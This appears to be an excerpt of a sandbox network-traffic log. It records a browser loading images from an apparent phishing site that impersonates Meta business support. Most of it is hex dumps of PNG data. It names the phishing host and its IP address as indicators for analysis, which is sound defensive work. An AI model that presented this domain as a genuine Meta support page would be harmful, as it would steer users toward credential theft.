2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 45 14 a2 12 9a cd 04 4d cb bd 07 f6 0f 5f f0 c4 43 ab cf 66 e6 40 46 e8 b5 67 ed b6 c1 b9 1b 9f 5b fb cb 51 60 ce 4d d9 15 ad 63 bf 80 05 41 eb 00 5a 07 00 14 ac e5 17 cd df ad 14 d2 63 95 4a da b9 11 a6 b5 93 da 41 61 46 e3 b4 49 83 20 40 10 04 08 4c 94 67 f1 e4 02 0f be 8d 8a eb f8 9a cb 45 e2 a1 9f 27 1d d8 95 f2 6b a7 bc 86 56 76 47 04 41 04 21 70 ed f5 3f 39 eb f6 bb 56 fe 69 a1 d2 fb 7e 4b 6a a0 de 4c 60 82 10 0c 42 92 5a df 44 7e 8a 53 db 54 b7 b7 4e 31 f5 5a 0d cf b1 f8 7b 7c 88 05 02 33 23 0c c3 76 2f ab 96 58 f1 8b 07 8d 20 08 d1 dd db 83 66 92 22 c9 1c 52 cb f3 12 c6 87 1e 5f fd c4 7f f8 e6 bf fc e4 1c 66 7e cd 53 2f 6e 5a b9 f2 c4 3b 1f be ef 0b 63 23 e3 1f 0c c3 c2 d2 b1 b1 09 2a 96 2b 30 61 84 46 9c 22 ce 5b 36 f8 56 20 ba c3 8e 07 53 c6 b1 Data Ascii: EM_Cf@Fg[Q`McAZcJAaFI @LgE'kVvGA!p?9Vi~KjL`BZD~STN1Z{\|3#v/X f"R_f~S/nZ;c#*+0aF"[6V S
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 95 ae 3e 63 2d 23 49 32 04 41 d0 76 0e 55 64 fc 58 29 82 23 c0 d1 64 74 12 e4 f2 e8 a0 6f 0d c2 b0 d0 00 d8 a5 68 c6 b5 5d 3d bd e5 9b de fb ee 0b be 79 c5 15 57 ec 7c 33 5c a4 7f fe 67 bf bb 66 76 6f cf 37 b3 66 7d 4d ff 40 6f ad d9 6c c2 5a 7b 58 21 78 f8 5b ea e4 f8 12 51 db 8c 27 0c 23 34 1a 31 ca 95 9e 62 a4 0a 17 dd 76 f7 ca 5f dd bd 9b 67 c9 f4 f8 c6 a6 65 7e e5 a3 f5 0e 44 da 47 f1 8b c5 39 c3 83 c3 ef ff de f7 7e ba 4c 8e d2 d1 b1 6e d7 ae 65 9b 37 6f fb 85 24 e5 25 13 d5 1a 62 0b 04 61 01 71 6a c1 a4 fd a3 c3 58 46 81 da d9 16 93 8f e9 ae 2e 6e da e3 38 89 59 c5 4c 4e 16 c2 c2 1b 87 e3 95 36 9a 24 89 5c 07 82 f0 66 12 84 8f ae 7d 61 d1 a3 ab 1e fb 7c 7f df c0 db 1b 69 5a 0c 0b 45 b0 03 38 f7 f8 d6 61 d0 5e 14 77 d6 10 be 5c 51 48 44 08 82 c0 3f Data Ascii: >c-#I2AvUdX)#dtoh]=yW\|3\gfvo7f}M@olZ{X!x[Q'#41bv_ge~DG9~Lne7o$%baqjXF.n8YLN6$\f}a\|iZE8a^w\QHD?
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 2c e6 35 f8 fc 86 a3 f4 53 fa 1e 72 99 e5 06 56 0a b2 01 4c 12 93 e7 4d 1e 18 18 90 c7 c0 f9 a8 1e 7f fc f1 19 7f fc 95 6f 5e d7 b3 af fb da 62 a5 7c 2e 33 a6 5a 83 8a 94 1e 20 1c 73 4f 27 6e 3c 7d df 83 49 45 ed 2c 13 2c 03 04 01 12 69 64 9d 6d ca ba 68 00 42 01 91 ae 21 91 02 c0 74 f5 90 48 81 b4 fb 77 02 02 0c 8b 62 a9 82 44 eb b4 16 39 23 8a 35 40 02 e5 96 36 18 30 76 ed ed 6d 97 e0 76 a9 8a 33 77 ed d9 73 e1 3d f7 3d f4 b1 95 2b 5f 78 fc c1 65 cb ee f9 f0 c2 85 9b 0e 36 62 58 a8 a3 55 28 ef 64 5f 14 a6 c4 c6 b6 10 f9 59 bc 33 a5 9a cb 34 81 3b 53 f3 4e ef 66 d8 7c dd 64 94 73 c0 29 50 eb 38 11 9e af 8a 26 12 2d 9a 65 0b f0 de 4a 4b 1f b5 80 70 e9 f2 e5 27 85 da 2c 0a eb d1 e4 82 5f 48 95 10 c5 a0 f1 1a ba 01 0f 8a c6 48 16 82 04 c0 84 a8 56 47 6b 5b Data Ascii: ,5SrVLMo^b\|.3Z sO'n<}IE,,idmhB!tHwbD9#5@60vmv3ws==+_xe6bXU(d_Y34;SNf\|ds)P8&-eJKp',_HHVGk[
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 2f b5 b6 4f ba b8 b7 5a 2b 1a 12 90 be 0f 06 a1 bf 56 43 3d 8e e0 17 0b 90 be 84 d5 f1 20 b5 c1 bc 76 1d 38 a7 1c 1a b6 20 09 18 d6 d0 36 71 11 37 4f 81 94 cc f3 f7 60 2c 58 1b c0 38 55 5e 25 09 52 20 df 37 99 70 22 c1 81 17 01 17 15 80 25 c0 a4 d1 80 94 97 48 d6 19 ae 22 cf 4d 84 ab 9f c6 c8 eb 4a b2 60 24 36 01 24 83 85 cd 1f 99 0c 98 06 47 58 1c 1b 83 60 4c 1a ed 27 8b 30 aa c1 b2 86 f4 04 c2 38 82 b6 16 e5 72 0b fa fb fa 02 48 7f 4e a5 d8 fa 89 25 cf 3e 7b d5 92 25 bb 8f 08 63 e3 54 33 d1 1a 98 48 0a cb ce 61 62 f2 bb c2 12 46 28 f4 ee e4 57 98 b2 62 f3 ca 49 fe 43 c0 05 94 18 6c dc 58 4b 01 58 cd f0 55 e0 ce 21 d3 00 92 79 ae e1 d0 73 73 98 aa 7c 43 c1 91 39 83 0b 4e f9 d7 f7 7d 58 6d 20 18 f0 84 07 b2 04 1d 69 28 e1 41 42 c0 26 06 82 25 14 79 00 7b Data Ascii: /OZ+VC= v8 6q7O`,X8U^%R 7p"%H"MJ`$6$GX`L'08rHN%>{%cT3HabF(WbIClXKXU!yss\|C9N}Xm i(AB&%y{
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 65 d3 28 97 0a 90 44 25 a9 cc 86 4c 46 fc 70 e9 e2 45 df fc f2 97 3f fd d2 d9 0e 06 6b ce 51 fb 5f be f8 f9 b7 6f bb fe 7d df 27 69 be 97 ef ed 5e 63 6d d0 07 58 44 5d 32 16 a0 68 8f d9 1a 12 8b 5a df 46 08 01 8a db ba 93 2b 91 ad 10 f1 4f 22 89 72 29 80 61 4c 2c 9b e0 f6 67 56 ad be 6e 3c af 11 96 52 0a 66 59 0b 9b 1e a0 13 47 03 af d1 84 83 03 fe 2c 35 c2 14 9f 5b 1b 6b 98 b1 62 c5 da d6 37 df 7a fb b7 40 62 3e b3 54 8c 64 c2 62 9d cb 11 e4 4d a8 72 d5 32 8b 52 0c ab 8c fd 81 1a bb 94 49 7b 20 06 02 bf 04 02 c3 73 90 0f 4a fd af 67 a4 fd d6 fc cb e6 7e f3 cf fe e8 0f 1f 3f 9b c1 e0 a0 3d c7 9f 7d e0 ae 9d 5f fc f4 7d 3f b8 76 c1 35 7f da 54 97 fd a1 09 c3 37 26 b6 b5 16 7b 7b 7b 10 84 65 34 34 e6 c0 26 42 82 9c 08 65 22 1d 83 7c 8c 87 7d a5 f6 1a 5f e3 Data Ascii: e(D%LFpE?kQ_o}'i^cmXD]2hZF+O"r)aL,gVn<RfYG,5[kb7z@b>TdbMr2RI{ sJg~?=}_}?v5T7&{{{e44&Be"\|}_
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: f2 07 bc 6c ee 96 72 a9 dc e8 b9 69 48 a9 70 f4 e8 51 a4 d3 b1 ef 6e 2c a4 ac 32 c0 11 11 60 2c c8 f2 00 79 8f 54 2a 05 21 04 0a 85 02 32 99 14 48 30 82 d0 87 eb a6 ba 8c f1 5f bd f9 e6 6b 7f 4d 44 fe e0 7b b8 eb e6 9b f7 36 37 34 2d 0b 7d bd 31 93 49 05 09 7d b8 94 b2 c2 a4 36 98 32 79 b8 60 34 ce 28 0e a0 ca 77 1c 07 be ef 83 39 c9 e2 30 a4 94 50 8e 87 30 d4 50 4a 4d 60 cb 4b 9e 7d 64 d9 f5 e7 3b c1 cc fc 79 f3 f2 4a aa ae 74 2a 53 ce e7 f3 d0 5a 43 c5 99 e4 28 37 c8 c7 30 11 31 cd 72 45 a4 be 1a 20 02 04 1d 1a b8 d2 6b 39 b2 f7 f0 39 0d 19 0d 45 18 9b 28 1a 40 ac 34 5a 52 a4 91 1c f8 da 24 59 60 98 67 9e c6 43 e2 4b 9f 7f 70 47 5b 43 f3 e3 81 1f ee 62 26 0e fc 32 12 92 19 6b 22 8d 4a 62 80 2d 83 44 c4 5a 61 ac 81 90 a2 46 d6 c0 56 ee 3b 21 73 62 66 b8 Data Ascii: lriHpQn,2`,yT!2H0_kMD{674-}1I}62y`4(w90P0PJM`K}d;yJtSZC(701rE k99E(@4ZR$Y`gCKpG[Cb&2k"Jb-DZaFV;!sbf
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 4f 2e 3e 50 ee 34 28 c4 0c ef 24 ad 6f da 74 b4 59 71 a7 55 40 a8 aa d1 7f fa 9b ff 7a e3 e4 f4 e4 6d f5 da c0 d6 bc 00 4f 60 66 34 1a 8d b6 71 2c 5b 73 f2 3c 6f b7 4f cd ef d3 0a d4 03 91 31 c1 91 f2 02 f5 98 8a 6a d1 33 7b ae bf e2 ee e5 9a b7 f9 f8 67 6e fd e5 77 be 3e 71 df 91 23 47 cf 8b a3 da d9 71 9c 04 f2 55 41 3b 2b 33 17 2c 06 f3 0c d2 cf 95 27 ed 08 08 c7 c7 c7 51 a9 56 d1 ca 1c a2 28 b2 20 7d df be 77 0f fd eb 7f fc e6 7d 2f 63 89 38 6c d6 f2 aa 44 94 aa 06 5e af b2 6a 1f d0 21 4f 0e 70 ae d3 b9 b3 86 4c d3 bb ea fe fd e3 76 63 9e b9 5e f4 46 59 84 a3 73 1c 64 69 2a 9d e2 15 a7 20 9c ef 5e a6 f7 3c fd f4 53 07 f6 be f1 1c 29 9d 65 ad ad 97 41 61 1c c7 f0 2a 3d 67 6e 2e b7 5c d0 3b 0c 66 03 d2 02 bc 80 0c 62 cb 48 53 41 54 a9 60 6c 72 e6 a2 37 Data Ascii: O.>P4($otYqU@zmO`f4q,[s<oO1j3{gnw>q#GqUA;+3,'QV( }w}/c8lD^j!OpLvc^FYsdi* ^<S)eAa*=gn.\;fbHSAT`lr7
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: a8 04 22 68 5b 96 36 08 d4 42 b5 c2 59 65 19 c7 f1 ec 81 67 0b 55 80 28 8a e3 a4 fa 81 b7 df 3e f0 f9 ef 7c e7 ee d7 bf f8 c5 df 79 65 bd ca 57 da 6c 1a 27 5a 0d fe 0f 20 44 00 34 20 d0 ea 09 29 cc ee 76 db 10 32 79 ef 5d 3e 30 38 e8 b0 01 97 65 a4 02 48 a8 c4 94 86 41 db 88 b6 a7 ba 8c aa fa 84 dd 90 5f 4d 27 ed f8 6b f7 f0 f0 f8 d7 7f f0 e0 b7 1f 78 e8 67 7b f2 dc df 6c 0d 45 b9 f7 60 32 38 f5 22 91 74 e9 af f9 9a 67 a9 d0 77 ed 6a a2 0a c0 32 ba 7d 64 cb cf 6f be ea 86 e7 d6 b2 0c 0d f1 20 91 15 22 61 95 f2 33 17 cd 2e 01 de 5c 67 f7 b1 bd 9f be bd 2f 9d 89 ad 39 09 9a 42 2e 45 88 7c b6 bc 55 e6 c1 e1 ad 6f ca 6b 6f 4e 45 d5 04 ad 2c 87 31 74 ca 67 80 4d 04 70 40 8e ce 5d 6b 6c 68 b0 f6 e3 73 ce 38 e7 fb 2d 6d 51 ec f3 94 e2 b8 a5 22 71 0d f5 86 23 92 Data Ascii: "h[6BYegU(>\|yeWl'Z D4 )v2y]>08eHA_M'kxg{lE`28"tgwj2}do "a3.\g/9B.E\|UokoNE,1tgMp@]klhs8-mQ"q#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49758	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:37 UTC	428	OUT	GET /img/block_2.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:38 UTC	257	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:32 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:28 GMT ETag: "4963-61920b777e600" Accept-Ranges: bytes Content-Length: 18787 Content-Type: image/png
2025-03-13 09:50:38 UTC	7935	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 65 08 06 00 00 00 bb be 46 f1 00 00 24 c2 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 65 78 69 66 00 00 78 da ad 9c 6b 96 9c 37 0e 64 ff 73 15 b3 04 be 1f cb e1 03 3c 67 76 30 cb 9f 1b cc 92 6c 49 6e bb ed b6 64 a9 4a 99 59 fc 48 02 08 44 80 a0 9d fd bf ff 7b dd ff e1 d7 c8 a1 ba 5c 5a af a3 56 cf af 3c f2 88 93 6f ba ff fc 9a ef ef e0 f3 fb fb fd aa f9 eb bd f0 e3 eb ae 96 af 37 22 2f 25 be a6 cf 3f 7b fd fa fc b7 d7 c3 f7 01 3e 5f 26 df 95 df 0d d4 f7 d7 1b eb c7 37 c6 d7 93 63 ff 69 a0 f8 f9 92 34 23 7d 7f be 06 1a 5f 03 a5 f8 79 23 7c 0d 30 e7 d7 52 46 6f bf 5f c2 b2 cf d7 af 9f ff 6c 03 7f 9c fe ca fd c7 69 ff f2 ef c6 ee 9d c2 73 52 8c 96 42 f2 fc 9d d2 d7 04 92 Data Ascii: PNGIHDRdeF$zTXtRaw profile type exifxk7ds<gv0lIndJYHD{\ZV<o7"/%?{>_&7ci4#}_y#\|0RFo_lisRB
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 2b 74 87 eb 73 ae e6 e5 10 bc 0a 75 82 2e 30 4f 98 70 3b 6a 64 7f fd 64 6a 57 54 f2 67 0c f7 1a 18 16 a9 50 99 79 7e eb e8 fa 8f ba 44 9a 52 97 19 74 3f a1 27 48 e8 1c aa 4e 2f 18 5b 51 6b e2 d0 a9 1a cc 06 3f 07 05 d3 02 e4 72 95 eb dc 09 ab 0d 0b 6a d4 14 bd 51 dd d6 8d d8 61 9b 59 86 8a fc a6 1b 72 cc 08 75 93 e0 f6 a8 6c c3 7b 51 a2 35 26 75 1a be 46 2d e4 46 6e 79 2d 5d 96 52 03 75 04 a9 ba 0e f2 01 12 7c 91 f0 51 ca 60 81 30 7f d8 81 1f 48 cd a4 1c 3b 50 f4 64 ca 5e 36 31 c0 4e 3e 02 82 8c 52 1a 30 5c 54 52 22 8a c4 db d0 15 cb a9 a6 79 dc 71 18 99 d6 cf d7 73 0d fd d0 a5 90 00 3a 10 f2 10 e7 23 0d 3a 67 36 01 c6 d6 2d dd aa 46 c0 d5 c1 72 88 62 cb 4d f6 47 e1 07 9d 66 41 46 a3 fa 82 e0 f2 e4 c3 a9 db 18 58 3d 13 f4 31 3c 26 a4 7e 8d ae b9 ee 2d a1 Data Ascii: +tsu.0Op;jddjWTgPy~DRt?'HN/[Qk?rjQaYrul{Q5&uF-Fny-]Ru\|Q`0H;Pd^61N>R0\TR"yqs:#:g6-FrbMGfAFX=1<&~-
2025-03-13 09:50:38 UTC	2852	IN	Data Raw: 2a 16 8b 72 40 7d 65 4b a9 bf 7f 13 f9 5c 93 8e e1 8d 11 37 26 43 47 08 8a 83 de 7a 22 a9 d1 49 4a aa 75 20 63 9e 91 58 93 90 91 31 d1 18 c0 c8 72 69 54 9e 1b 24 29 4e 92 a4 c9 99 59 69 a8 0e ac b5 fa ed ed 3e 4a c2 cc 2c 4d d3 d4 91 55 5d cb 76 b8 a8 3c 3a 58 03 65 f3 83 22 65 13 75 14 1e aa fc cb 00 8b a3 4a 64 3d 94 4a a5 82 93 d4 5d b9 52 d2 50 5f 2e 2b 51 63 ed e6 03 92 95 81 da 38 6c 86 9c 83 24 c9 ce 92 a8 ab ab 4b 1c 30 58 a4 cb 35 36 82 39 6a 32 b2 45 f2 31 e6 63 43 92 27 ca 27 65 df ce d2 10 42 21 4e d3 b4 10 c7 b1 01 4a 9a c7 11 24 9c 36 e6 d4 ac ef fb c3 86 b5 57 aa d1 b4 31 18 67 36 ca b6 b1 1a 74 36 cc f9 a3 dd c3 86 b9 ae 8d f2 9d 31 9e 5f 4e 46 d8 58 63 ce 26 d1 89 74 42 0b 75 4d 8d 15 40 ba bc f7 9d b1 a4 b7 80 3e a0 29 1a df 82 39 87 2b Data Ascii: *r@}eK\7&CGz"IJu cX1riT$)NYi>J,MU]v<:Xe"euJd=J]RP_.+Qc8l$K0X569j2E1cC''eB!NJ$6W1g6t61_NFXc&tBuM@>)9+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49760	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:37 UTC	429	OUT	GET /img/save_img.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:38 UTC	256	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:32 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:28:32 GMT ETag: "1d7e-61920b4216800" Accept-Ranges: bytes Content-Length: 7550 Content-Type: image/png
2025-03-13 09:50:38 UTC	7550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 03 00 00 00 0e ba c6 e0 00 00 02 fa 50 4c 54 45 c3 e2 c9 b5 dc bb b0 da b8 a9 d6 b2 a6 d4 ae a2 d2 aa 9d d0 a6 9a cf a4 98 ce a3 c3 e1 c9 99 cf a2 ef bc 57 fc f2 df fc f4 e3 fc f2 e1 fb ec d0 ac 4d 00 fc f1 dc ff f5 df ff f9 e4 fa e6 bf ff ff ef ff ff f7 ff fd ea f8 e2 b7 eb dc c6 c3 af 9a 96 7c 6b 7e 60 50 a8 8f 7b ce c0 aa fd f1 dd e1 d3 be 8c 6d 57 4e 27 15 37 0f 03 3e 16 07 55 2e 18 5f 39 26 fc f1 da 48 20 10 2d 07 00 43 1b 0a 6c 49 34 ff f4 da 24 01 00 4a 23 12 f8 c9 54 d9 ca b3 45 1f 0f af 99 87 f7 ed da a0 75 4b ea b9 47 7f 56 35 f2 c1 7f eb bb 7b ac 87 54 91 67 42 de ae 73 e3 b4 77 de af 73 de b0 75 d9 ab 71 de ad 6e be e0 c4 e2 ac 68 b2 f0 d9 bb de c1 b8 dd bf b2 60 16 b6 Data Ascii: PNGIHDRxxPLTEWM\|k~`P{mWN'7>U._9&H -ClI4$J#TEuKGV5{TgBswsuqnh`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49761	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:37 UTC	698	OUT	GET /img/fb_round_logo.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:38 UTC	257	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:33 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:14 GMT ETag: "a6b4-61920b6a24680" Accept-Ranges: bytes Content-Length: 42676 Content-Type: image/png
2025-03-13 09:50:38 UTC	7935	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b0 00 00 04 b0 08 06 00 00 00 eb 21 b3 cf 00 00 01 85 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 28 91 7d 91 3d 48 c3 50 14 85 4f 53 b5 22 15 07 3b 88 08 66 a8 4e 16 44 45 04 17 ad 42 11 2a 84 5a a1 55 07 93 97 fe 08 4d 1a 92 14 17 47 c1 b5 e0 e0 cf 62 d5 c1 c5 59 57 07 57 41 10 fc 01 71 75 71 52 74 91 12 ef 4b 0a 2d 62 7c 70 79 1f e7 bd 73 b8 ef 3e 40 a8 95 98 66 b5 8d 02 9a 6e 9b a9 44 5c cc 64 57 c4 d0 2b c2 e8 a0 9a c6 a0 cc 2c 63 56 92 92 f0 5d 5f f7 08 f0 fd 2e c6 b3 fc ef fd b9 ba d5 9c c5 80 80 48 3c c3 0c d3 26 5e 27 9e dc b4 0d ce fb c4 11 56 94 55 e2 73 e2 11 93 1a 24 7e e4 ba e2 f1 1b e7 82 cb 02 cf 8c 98 e9 d4 1c 71 84 58 2c b4 b0 d2 c2 ac 68 6a c4 13 c4 51 55 d3 29 5f c8 78 ac Data Ascii: PNGIHDR!iCCPICC profile(}=HPOS";fNDEB*ZUMGbYWWAquqRtK-b\|pys>@fnD\dW+,cV]_.H<&^'VUs$~qX,hjQU)_x
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 8d 62 e0 e9 c0 eb d2 ac 48 8c 43 f3 f9 89 28 cd b9 34 2b 2a c0 b3 81 57 03 a3 26 22 49 92 24 49 5d 2b 06 2e 05 fe 28 cd 8a 05 c6 a1 f9 fa 24 94 e6 54 9a 15 31 70 21 f0 06 60 89 89 48 92 24 49 52 d7 ab 03 7f 08 5c d1 39 4d 23 cd 29 0b 2c cd 87 b3 80 b7 02 ab 8d 42 92 24 49 92 7a c6 42 ca 53 34 cf ed 9c aa 91 e6 4c 64 04 9a 4b 69 56 3c 1c f8 18 70 a8 69 48 92 24 49 52 4f ba 0d 78 29 f0 97 79 23 09 c6 a1 b9 e0 04 96 e6 4c 9a 15 c7 01 7f 82 e5 95 24 49 92 24 f5 b2 95 c0 5b 80 c7 1b 85 e6 8a 05 96 e6 44 9a 15 87 00 d7 02 27 98 86 24 49 92 24 f5 bc 03 80 77 a7 59 71 aa 51 68 2e 58 60 69 d6 a5 59 b1 16 78 3b f0 18 d3 90 24 49 92 a4 be 71 38 f0 9e 34 2b 8e 31 0a cd 36 0b 2c cd aa 34 2b 96 02 6f 04 9e 64 1a 92 24 49 92 d4 77 36 02 ef 4c b3 e2 60 a3 d0 6c b2 c0 d2 Data Ascii: bHC(4+*W&"I$I]+.($T1p!`H$IR\9M#),B$IzBS4LdKiV<piH$IROx)y#L$I$[D'$I$wYqQh.X`iYx;$Iq84+16,4+od$Iw6L`l
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: f1 ce f0 a1 23 2d 3b 0f 02 00 4c 87 1d 49 7e bc db eb 1f da aa df e0 56 be f0 7c 22 c9 f3 ce 61 00 68 4e 29 c9 c1 dd 55 f9 a1 a7 66 d2 aa 22 c0 02 00 98 1e 1f cc 16 5e 85 b6 25 2f 3c bb bd 7e 95 d1 14 fe 3b 9d bf 00 d0 9c ba 24 1f 79 b0 3d 7c e2 8e 56 5b 35 00 00 a6 ca ae 24 3f d1 ed f5 77 6f c5 6f 6e ab fe cb e9 83 49 7e c8 b9 0b 00 cd 29 25 d9 3b 57 d5 5f 78 6a a6 ec 9a ad 74 5f 01 00 4c 9f 8f 27 79 76 2b 7e 63 5b f5 e2 f3 73 49 1e 75 de 02 40 73 4a 92 c7 bb ad f2 a1 07 db c2 2b 00 80 e9 74 28 a3 59 58 5b 6e a7 e8 2d 77 01 da ed f5 6f 4b f2 63 89 b9 1c 00 d0 e8 45 43 95 7c fe 3d 9d fa c0 4e dd 57 00 00 53 ec d3 19 ed 4a b8 b5 ae 45 b7 e0 81 fa 58 92 a7 9c af 00 d0 9c ba 24 f7 dc d2 1a 7e e2 91 4e 92 54 2a 02 00 30 b5 ee 4f f2 f9 e5 f9 e0 5b c6 96 0a b0 Data Ascii: #-;LI~V\|"ahN)Uf"^%/<~;$y=\|V[5$?woonI~)%;W_xjt_L'yv+~c[sIu@sJ+t(YX[n-woKcEC\|=NWSJEX$~NT*0O[
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 00 00 00 1a f6 ca c9 7a 76 7e 90 4a 7e 05 d0 0c 01 16 00 00 40 83 4a 32 38 7a b6 cc d7 36 67 01 68 8c 00 0b 00 00 a0 41 17 16 4a 7d ec 5c 3d d4 7d 05 d0 9c 8e 12 00 00 00 34 e7 d4 85 32 f3 fa 99 32 63 fd 20 c0 4d 29 49 2e bc fd 81 0e 2c 00 00 80 06 9d 9d 2f f5 5b fd 52 b5 04 58 00 37 a3 24 39 f1 f6 07 02 2c 00 00 80 06 9d 38 5f 2e ce 0f 4a ad 12 00 37 ed 3b d3 04 05 58 00 00 00 0d 7a e9 78 dd 19 d6 d1 7f 05 d0 20 01 16 00 00 40 83 be 71 bc de 39 10 60 01 34 4a 80 05 00 00 d0 90 61 c9 e0 8d b3 65 50 17 b5 00 68 d2 e5 01 d6 f9 24 a7 95 04 00 00 60 7d ce cf 97 a5 93 e7 cb a2 f6 2b 80 66 75 2e fb ff 61 92 25 25 01 00 00 58 9f 63 fd 32 fb e6 b9 3a 95 04 0b a0 09 df e9 67 ed a8 05 00 00 40 33 4e 9c 2f ad 93 17 4a d5 12 60 01 dc ac 3a c9 f1 b7 3f 30 03 0b 00 00 Data Ascii: zv~J~@J28z6ghAJ}\=}422c M)I.,/[RX7$9,8_.J7;Xzx @q9`4JaePh$`}+fu.a%%Xc2:g@3N/J`:?0
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: f9 d0 b5 17 55 f7 4a 03 00 00 00 f8 2e 4e 55 2f ab ae 11 c5 99 53 60 9d bd f7 57 ef 16 03 00 00 00 f0 5d 7c a2 7a c3 7c 27 17 67 48 81 75 96 a6 71 38 52 bd b8 ba 45 1a 00 00 00 c0 37 79 a0 7a e1 34 0e 37 8b e2 ec 28 b0 16 e3 93 d5 6b 2a 6d 2a 00 00 00 f0 75 ef cb ae ad 85 50 60 2d c0 34 0e a7 aa 57 54 57 49 03 00 00 00 a8 6e ab 9e 3f 8d c3 fd a2 38 7b 0a ac 05 99 c6 e1 0b cd b6 12 1e 93 06 00 00 00 6c b4 ed 66 3b b5 3e 2e 8a c5 50 60 2d d6 b9 d5 87 c5 00 00 00 00 1b ed f3 d5 2b a7 71 38 21 8a c5 50 60 2d d0 34 0e 77 55 cf af ee 91 06 00 00 00 6c a4 63 cd 06 b7 7f 5e 14 8b a3 c0 5a bc 0f 55 e7 88 01 00 00 00 36 d2 85 cd 76 68 b1 40 0a ac 05 9b c6 e1 58 f5 c2 ea 3a 69 00 00 00 c0 46 b9 bb 7a ee 7c 87 16 0b a4 c0 da 05 d3 38 7c ae 7a 49 75 4a 1a 00 00 00 b0 Data Ascii: UJ.NU/S`W]\|z\|'gHuq8RE7yz47(kmuP`-4WTWIn?8{lf;>.P`-+q8!P`-4wUlc^ZU6vh@X:iFz\|8\|zIuJ
2025-03-13 09:50:38 UTC	2741	IN	Data Raw: ac 90 24 49 ff 67 1f f0 16 b1 db ea 29 e0 7d c7 04 25 a9 fb 18 60 49 52 17 4a 63 0e 1f 03 0f e6 45 f5 28 70 23 d1 95 f5 63 60 11 70 8a 55 92 24 f5 b1 16 f0 09 f0 2c b1 db ea 25 6f 13 94 a4 ee 66 80 25 49 5d ae 6c 66 07 80 17 f2 a2 5a 0e fc 1a b8 97 58 fa 7e 13 70 ba 15 92 24 f5 91 83 c0 6a e0 71 e0 09 60 7d d9 cc 0e 59 16 49 ea 7e 06 58 92 d4 23 ca 66 36 0e bc 07 bc 97 17 d5 43 c0 cd 44 90 75 17 b0 18 98 66 95 24 49 bd fa 36 08 bc 4c 2c 65 7f 89 58 ca 3e 61 59 24 a9 77 18 60 49 52 2f 7e 8a 6f 66 bb 88 a5 ef cf 01 17 11 37 17 fe 1c b8 16 c8 ac 90 24 a9 07 8c 00 ab 80 7f a5 33 54 36 b3 83 96 45 92 7a 93 01 96 24 f5 b0 d4 95 b5 1e 58 9f 17 d5 03 c4 ae ac fb 81 1f 02 17 e0 0d 86 92 a4 ee d2 22 76 40 be 08 3c 46 ec b6 fa d4 b2 48 52 ef 33 c0 92 a4 3e 91 96 d7 Data Ascii: 